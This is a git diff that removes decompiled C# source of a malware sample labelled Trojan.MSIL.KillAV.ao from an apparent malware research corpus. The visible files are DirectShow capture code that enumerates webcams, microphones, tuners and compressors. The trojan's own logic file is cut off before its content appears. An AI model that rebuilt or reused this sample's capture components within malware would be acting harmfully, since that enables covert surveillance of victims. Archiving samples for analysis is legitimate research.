C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; -using DShowNET.Device; -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class FilterCollection : CollectionBase - { - internal FilterCollection(Guid category) => this.getFilters(category); - - protected void getFilters(Guid category) - { - object o = (object) null; - ICreateDevEnum createDevEnum = (ICreateDevEnum) null; - UCOMIEnumMoniker ppEnumMoniker = (UCOMIEnumMoniker) null; - UCOMIMoniker[] rgelt = new UCOMIMoniker[1]; - try - { - o = Activator.CreateInstance(Type.GetTypeFromCLSID(Clsid.SystemDeviceEnum)); - ((ICreateDevEnum) o).CreateClassEnumerator(ref category, out ppEnumMoniker, 0); - while (ppEnumMoniker.Next(1, rgelt, out int _) == 0 && rgelt[0] != null) - { - this.InnerList.Add((object) new Filter(rgelt[0])); - Marshal.ReleaseComObject((object) rgelt[0]); - rgelt[0] = (UCOMIMoniker) null; - } - this.InnerList.Sort(); - } - finally - { - createDevEnum = (ICreateDevEnum) null; - if (rgelt[0] != null) - Marshal.ReleaseComObject((object) rgelt[0]); - rgelt[0] = (UCOMIMoniker) null; - if (ppEnumMoniker != null) - Marshal.ReleaseComObject((object) ppEnumMoniker); - if (o != null) - Marshal.ReleaseComObject(o); - } - } - - public Filter this[int index] => (Filter) this.InnerList[index]; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Filters.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Filters.cs deleted file mode 100644 index d6b763be..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Filters.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Filters -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; - -namespace DirectX.Capture -{ - public class Filters - { - public FilterCollection VideoInputDevices = new FilterCollection(FilterCategory.VideoInputDevice); - public FilterCollection AudioInputDevices = new FilterCollection(FilterCategory.AudioInputDevice); - public FilterCollection VideoCompressors = new FilterCollection(FilterCategory.VideoCompressorCategory); - public FilterCollection AudioCompressors = new FilterCollection(FilterCategory.AudioCompressorCategory); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/PropertyPage.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/PropertyPage.cs deleted file mode 100644 index 794f260c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/PropertyPage.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.PropertyPage -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Windows.Forms; - -namespace DirectX.Capture -{ - public class PropertyPage : IDisposable - { - public string Name; - public bool SupportsPersisting = false; - - public virtual byte[] State - { - get => throw new NotSupportedException("This property page does not support persisting state."); - set => throw new NotSupportedException("This property page does not support persisting state."); - } - - public virtual void Show(Control owner) - { - } - - public void Dispose() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/PropertyPageCollection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/PropertyPageCollection.cs deleted file mode 100644 index 43175726..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/PropertyPageCollection.cs +++ /dev/null @@ -1,156 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.PropertyPageCollection -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class PropertyPageCollection : CollectionBase, IDisposable - { - internal PropertyPageCollection() => this.InnerList.Capacity = 1; - - internal PropertyPageCollection( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter videoDeviceFilter, - IBaseFilter audioDeviceFilter, - IBaseFilter videoCompressorFilter, - IBaseFilter audioCompressorFilter, - SourceCollection videoSources, - SourceCollection audioSources) - { - this.addFromGraph(graphBuilder, videoDeviceFilter, audioDeviceFilter, videoCompressorFilter, audioCompressorFilter, videoSources, audioSources); - } - - ~PropertyPageCollection() => this.Dispose(); - - public new void Clear() - { - for (int index = 0; index < this.InnerList.Count; ++index) - this[index].Dispose(); - this.InnerList.Clear(); - } - - public void Dispose() - { - this.Clear(); - this.InnerList.Capacity = 1; - } - - public PropertyPage this[int index] => (PropertyPage) this.InnerList[index]; - - protected void addFromGraph( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter videoDeviceFilter, - IBaseFilter audioDeviceFilter, - IBaseFilter videoCompressorFilter, - IBaseFilter audioCompressorFilter, - SourceCollection videoSources, - SourceCollection audioSources) - { - object ppint = (object) null; - this.addIfSupported((object) videoDeviceFilter, "Video Capture Device"); - Guid capture1 = PinCategory.Capture; - Guid interleaved = MediaType.Interleaved; - Guid guid = typeof (IAMStreamConfig).GUID; - if (graphBuilder.FindInterface(ref capture1, ref interleaved, videoDeviceFilter, ref guid, out ppint) != 0) - { - Guid video = MediaType.Video; - if (graphBuilder.FindInterface(ref capture1, ref video, videoDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - } - this.addIfSupported(ppint, "Video Capture Pin"); - Guid preview1 = PinCategory.Preview; - Guid pType = MediaType.Interleaved; - guid = typeof (IAMStreamConfig).GUID; - if (graphBuilder.FindInterface(ref preview1, ref pType, videoDeviceFilter, ref guid, out ppint) != 0) - { - pType = MediaType.Video; - if (graphBuilder.FindInterface(ref preview1, ref pType, videoDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - } - this.addIfSupported(ppint, "Video Preview Pin"); - ArrayList arrayList = new ArrayList(); - int num = 1; - for (int index = 0; index < videoSources.Count; ++index) - { - if (videoSources[index] is CrossbarSource videoSource && arrayList.IndexOf((object) videoSource.Crossbar) < 0) - { - arrayList.Add((object) videoSource.Crossbar); - if (this.addIfSupported((object) videoSource.Crossbar, "Video Crossbar " + (num == 1 ? "" : num.ToString()))) - ++num; - } - } - arrayList.Clear(); - this.addIfSupported((object) videoCompressorFilter, "Video Compressor"); - Guid capture2 = PinCategory.Capture; - pType = MediaType.Interleaved; - guid = typeof (IAMTVTuner).GUID; - if (graphBuilder.FindInterface(ref capture2, ref pType, videoDeviceFilter, ref guid, out ppint) != 0) - { - pType = MediaType.Video; - if (graphBuilder.FindInterface(ref capture2, ref pType, videoDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - } - this.addIfSupported(ppint, "TV Tuner"); - if (videoCompressorFilter is IAMVfwCompressDialogs compressDialogs) - this.InnerList.Add((object) new VfwCompressorPropertyPage("Video Compressor", compressDialogs)); - this.addIfSupported((object) audioDeviceFilter, "Audio Capture Device"); - Guid capture3 = PinCategory.Capture; - pType = MediaType.Audio; - guid = typeof (IAMStreamConfig).GUID; - if (graphBuilder.FindInterface(ref capture3, ref pType, audioDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - this.addIfSupported(ppint, "Audio Capture Pin"); - Guid preview2 = PinCategory.Preview; - pType = MediaType.Audio; - guid = typeof (IAMStreamConfig).GUID; - if (graphBuilder.FindInterface(ref preview2, ref pType, audioDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - this.addIfSupported(ppint, "Audio Preview Pin"); - num = 1; - for (int index = 0; index < audioSources.Count; ++index) - { - if (audioSources[index] is CrossbarSource audioSource && arrayList.IndexOf((object) audioSource.Crossbar) < 0) - { - arrayList.Add((object) audioSource.Crossbar); - if (this.addIfSupported((object) audioSource.Crossbar, "Audio Crossbar " + (num == 1 ? "" : num.ToString()))) - ++num; - } - } - arrayList.Clear(); - this.addIfSupported((object) audioCompressorFilter, "Audio Compressor"); - } - - protected bool addIfSupported(object o, string name) - { - specifyPropertyPages = (ISpecifyPropertyPages) null; - DsCAUUID pPages = new DsCAUUID(); - bool flag = false; - try - { - if (o is ISpecifyPropertyPages specifyPropertyPages) - { - if (specifyPropertyPages.GetPages(out pPages) != 0 || pPages.cElems <= 0) - specifyPropertyPages = (ISpecifyPropertyPages) null; - } - } - finally - { - if (pPages.pElems != IntPtr.Zero) - Marshal.FreeCoTaskMem(pPages.pElems); - } - if (specifyPropertyPages != null) - { - this.InnerList.Add((object) new DirectShowPropertyPage(name, specifyPropertyPages)); - flag = true; - } - return flag; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Source.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Source.cs deleted file mode 100644 index 6a79bb51..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Source.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Source -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; - -namespace DirectX.Capture -{ - public class Source : IDisposable - { - protected string name; - - public string Name => this.name; - - public override string ToString() => this.Name; - - public virtual bool Enabled - { - get => throw new NotSupportedException("This method should be overriden in derrived classes."); - set => throw new NotSupportedException("This method should be overriden in derrived classes."); - } - - ~Source() => this.Dispose(); - - public virtual void Dispose() => this.name = (string) null; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/SourceCollection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/SourceCollection.cs deleted file mode 100644 index 27e659b2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/SourceCollection.cs +++ /dev/null @@ -1,204 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.SourceCollection -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class SourceCollection : CollectionBase, IDisposable - { - internal SourceCollection() => this.InnerList.Capacity = 1; - - internal SourceCollection( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter deviceFilter, - bool isVideoDevice) - { - this.addFromGraph(graphBuilder, deviceFilter, isVideoDevice); - } - - ~SourceCollection() => this.Dispose(); - - public Source this[int index] => (Source) this.InnerList[index]; - - internal Source CurrentSource - { - get - { - foreach (Source inner in this.InnerList) - { - if (inner.Enabled) - return inner; - } - return (Source) null; - } - set - { - if (value == null) - { - foreach (Source inner in this.InnerList) - inner.Enabled = false; - } - else if (value is CrossbarSource) - { - value.Enabled = true; - } - else - { - foreach (Source inner in this.InnerList) - inner.Enabled = false; - value.Enabled = true; - } - } - } - - public new void Clear() - { - for (int index = 0; index < this.InnerList.Count; ++index) - this[index].Dispose(); - this.InnerList.Clear(); - } - - public void Dispose() - { - this.Clear(); - this.InnerList.Capacity = 1; - } - - protected void addFromGraph( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter deviceFilter, - bool isVideoDevice) - { - foreach (IAMCrossbar crossbar in this.findCrossbars(graphBuilder, deviceFilter)) - this.InnerList.AddRange((ICollection) this.findCrossbarSources(graphBuilder, crossbar, isVideoDevice)); - if (isVideoDevice || this.InnerList.Count != 0) - return; - this.InnerList.AddRange((ICollection) this.findAudioSources(graphBuilder, deviceFilter)); - } - - protected ArrayList findCrossbars( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter deviceFilter) - { - ArrayList crossbars = new ArrayList(); - Guid upstreamOnly = FindDirection.UpstreamOnly; - Guid pType = new Guid(); - Guid guid = typeof (IAMCrossbar).GUID; - object ppint1 = (object) null; - object ppint2 = (object) null; - int num = graphBuilder.FindInterface(ref upstreamOnly, ref pType, deviceFilter, ref guid, out ppint1); - while (num == 0 && ppint1 != null) - { - if (ppint1 is IAMCrossbar) - { - crossbars.Add((object) (ppint1 as IAMCrossbar)); - num = graphBuilder.FindInterface(ref upstreamOnly, ref pType, ppint1 as IBaseFilter, ref guid, out ppint2); - ppint1 = ppint2; - } - else - ppint1 = (object) null; - } - return crossbars; - } - - protected ArrayList findCrossbarSources( - ICaptureGraphBuilder2 graphBuilder, - IAMCrossbar crossbar, - bool isVideoDevice) - { - ArrayList crossbarSources = new ArrayList(); - int OutputPinCount; - int InputPinCount; - int pinCounts = crossbar.get_PinCounts(out OutputPinCount, out InputPinCount); - if (pinCounts < 0) - Marshal.ThrowExceptionForHR(pinCounts); - for (int index1 = 0; index1 < OutputPinCount; ++index1) - { - for (int index2 = 0; index2 < InputPinCount; ++index2) - { - if (crossbar.CanRoute(index1, index2) == 0) - { - PhysicalConnectorType PhysicalType; - int crossbarPinInfo = crossbar.get_CrossbarPinInfo(true, index2, out int _, out PhysicalType); - if (crossbarPinInfo < 0) - Marshal.ThrowExceptionForHR(crossbarPinInfo); - CrossbarSource crossbarSource = new CrossbarSource(crossbar, index1, index2, PhysicalType); - if (PhysicalType < PhysicalConnectorType.Audio_Tuner) - { - if (isVideoDevice) - crossbarSources.Add((object) crossbarSource); - else if (!isVideoDevice) - crossbarSources.Add((object) crossbarSource); - } - } - } - } - int index3 = 0; - while (index3 < crossbarSources.Count) - { - bool flag = false; - CrossbarSource crossbarSource1 = (CrossbarSource) crossbarSources[index3]; - for (int index4 = 0; index4 < crossbarSources.Count; ++index4) - { - CrossbarSource crossbarSource2 = (CrossbarSource) crossbarSources[index4]; - if (crossbarSource1.OutputPin == crossbarSource2.OutputPin && index3 != index4) - { - flag = true; - break; - } - } - if (flag) - ++index3; - else - crossbarSources.RemoveAt(index3); - } - return crossbarSources; - } - - protected ArrayList findAudioSources( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter deviceFilter) - { - ArrayList audioSources = new ArrayList(); - if (deviceFilter is IAMAudioInputMixer) - { - IEnumPins ppEnum; - int num1 = deviceFilter.EnumPins(out ppEnum); - ppEnum.Reset(); - if (num1 == 0 && ppEnum != null) - { - IPin[] ppPins = new IPin[1]; - int num2; - do - { - num2 = ppEnum.Next(1, ppPins, out int _); - if (num2 == 0 && ppPins[0] != null) - { - PinDirection pPinDir = PinDirection.Output; - num2 = ppPins[0].QueryDirection(out pPinDir); - if (num2 == 0 && pPinDir == PinDirection.Input) - { - AudioSource audioSource = new AudioSource(ppPins[0]); - audioSources.Add((object) audioSource); - } - ppPins[0] = (IPin) null; - } - } - while (num2 == 0); - Marshal.ReleaseComObject((object) ppEnum); - ppEnum = (IEnumPins) null; - } - } - if (audioSources.Count == 1) - audioSources.Clear(); - return audioSources; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Tuner.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Tuner.cs deleted file mode 100644 index 59900f22..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Tuner.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Tuner -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; -using System; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class Tuner : IDisposable - { - protected IAMTVTuner tvTuner = (IAMTVTuner) null; - - public Tuner(IAMTVTuner tuner) => this.tvTuner = tuner; - - public int Channel - { - get - { - int plChannel; - this.tvTuner.get_Channel(out plChannel, out int _, out int _); - return plChannel; - } - set => this.tvTuner.put_Channel(value, AMTunerSubChannel.Default, AMTunerSubChannel.Default); - } - - public TunerInputType InputType - { - get - { - DShowNET.TunerInputType inputType; - this.tvTuner.get_InputType(0, out inputType); - return (TunerInputType) inputType; - } - set => this.tvTuner.put_InputType(0, (DShowNET.TunerInputType) value); - } - - public bool SignalPresent - { - get - { - AMTunerSignalStrength plSignalStrength; - int errorCode = this.tvTuner.SignalPresent(out plSignalStrength); - if (errorCode != 0) - Marshal.ThrowExceptionForHR(errorCode); - return plSignalStrength == AMTunerSignalStrength.SignalPresent; - } - } - - public void Dispose() - { - if (this.tvTuner != null) - Marshal.ReleaseComObject((object) this.tvTuner); - this.tvTuner = (IAMTVTuner) null; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/TunerInputType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/TunerInputType.cs deleted file mode 100644 index 67faee40..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/TunerInputType.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.TunerInputType -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DirectX.Capture -{ - public enum TunerInputType - { - Cable, - Antenna, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/VfwCompressorPropertyPage.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/VfwCompressorPropertyPage.cs deleted file mode 100644 index d062822a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/VfwCompressorPropertyPage.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.VfwCompressorPropertyPage -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace DirectX.Capture -{ - public class VfwCompressorPropertyPage : PropertyPage - { - protected IAMVfwCompressDialogs vfwCompressDialogs = (IAMVfwCompressDialogs) null; - - public override byte[] State - { - get - { - byte[] pState = (byte[]) null; - int pcbState = 0; - if (this.vfwCompressDialogs.GetState((byte[]) null, ref pcbState) == 0 && pcbState > 0) - { - pState = new byte[pcbState]; - if (this.vfwCompressDialogs.GetState(pState, ref pcbState) != 0) - pState = (byte[]) null; - } - return pState; - } - set - { - int errorCode = this.vfwCompressDialogs.SetState(value, value.Length); - if (errorCode == 0) - return; - Marshal.ThrowExceptionForHR(errorCode); - } - } - - public VfwCompressorPropertyPage(string name, IAMVfwCompressDialogs compressDialogs) - { - this.Name = name; - this.SupportsPersisting = true; - this.vfwCompressDialogs = compressDialogs; - } - - public override void Show(Control owner) => this.vfwCompressDialogs.ShowDialog(VfwCompressDialogs.Config, owner.Handle); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/VideoCapabilities.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/VideoCapabilities.cs deleted file mode 100644 index 3f1965a8..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/VideoCapabilities.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.VideoCapabilities -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class VideoCapabilities - { - public Size InputSize; - public Size MinFrameSize; - public Size MaxFrameSize; - public int FrameSizeGranularityX; - public int FrameSizeGranularityY; - public double MinFrameRate; - public double MaxFrameRate; - - internal VideoCapabilities(IAMStreamConfig videoStreamConfig) - { - AMMediaType mediaType = (AMMediaType) null; - IntPtr num = IntPtr.Zero; - try - { - int piCount; - int numberOfCapabilities = videoStreamConfig.GetNumberOfCapabilities(out piCount, out int _); - if (numberOfCapabilities != 0) - Marshal.ThrowExceptionForHR(numberOfCapabilities); - if (piCount <= 1) - ; - num = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof (VideoStreamConfigCaps))); - IntPtr pmt; - int streamCaps = videoStreamConfig.GetStreamCaps(0, out pmt, num); - if (streamCaps != 0) - Marshal.ThrowExceptionForHR(streamCaps); - mediaType = (AMMediaType) Marshal.PtrToStructure(pmt, typeof (AMMediaType)); - VideoStreamConfigCaps structure = (VideoStreamConfigCaps) Marshal.PtrToStructure(num, typeof (VideoStreamConfigCaps)); - this.InputSize = structure.InputSize; - this.MinFrameSize = structure.MinOutputSize; - this.MaxFrameSize = structure.MaxOutputSize; - this.FrameSizeGranularityX = structure.OutputGranularityX; - this.FrameSizeGranularityY = structure.OutputGranularityY; - this.MinFrameRate = 10000000.0 / (double) structure.MaxFrameInterval; - this.MaxFrameRate = 10000000.0 / (double) structure.MinFrameInterval; - } - finally - { - if (num != IntPtr.Zero) - Marshal.FreeCoTaskMem(num); - IntPtr zero = IntPtr.Zero; - if (mediaType != null) - DsUtils.FreeAMMediaType(mediaType); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/Trojan.MSIL.KillAV.ao.csproj b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/Trojan.MSIL.KillAV.ao.csproj deleted file mode 100644 index 77685c6a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/Trojan.MSIL.KillAV.ao.csproj +++ /dev/null @@ -1,204 +0,0 @@ - - - - - Debug - AnyCPU - {EA784E80-CD2C-4E30-805D-BF2EBD8DD693} - WinExe - yes - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/Trojan.MSIL.KillAV.ao.sln b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/Trojan.MSIL.KillAV.ao.sln deleted file mode 100644 index 1f1ea6fd..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/Trojan.MSIL.KillAV.ao.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "yes", "Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.csproj", "{EA784E80-CD2C-4E30-805D-BF2EBD8DD693}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {EA784E80-CD2C-4E30-805D-BF2EBD8DD693}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {EA784E80-CD2C-4E30-805D-BF2EBD8DD693}.Debug|Any CPU.Build.0 = Debug|Any CPU - {EA784E80-CD2C-4E30-805D-BF2EBD8DD693}.Release|Any CPU.ActiveCfg = Release|Any CPU - {EA784E80-CD2C-4E30-805D-BF2EBD8DD693}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/A.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/A.cs deleted file mode 100644 index 79b9b101..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/A.cs +++ /dev/null @@ -1,135 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.A -// Assembly: yes, Version=0.0.0.0, 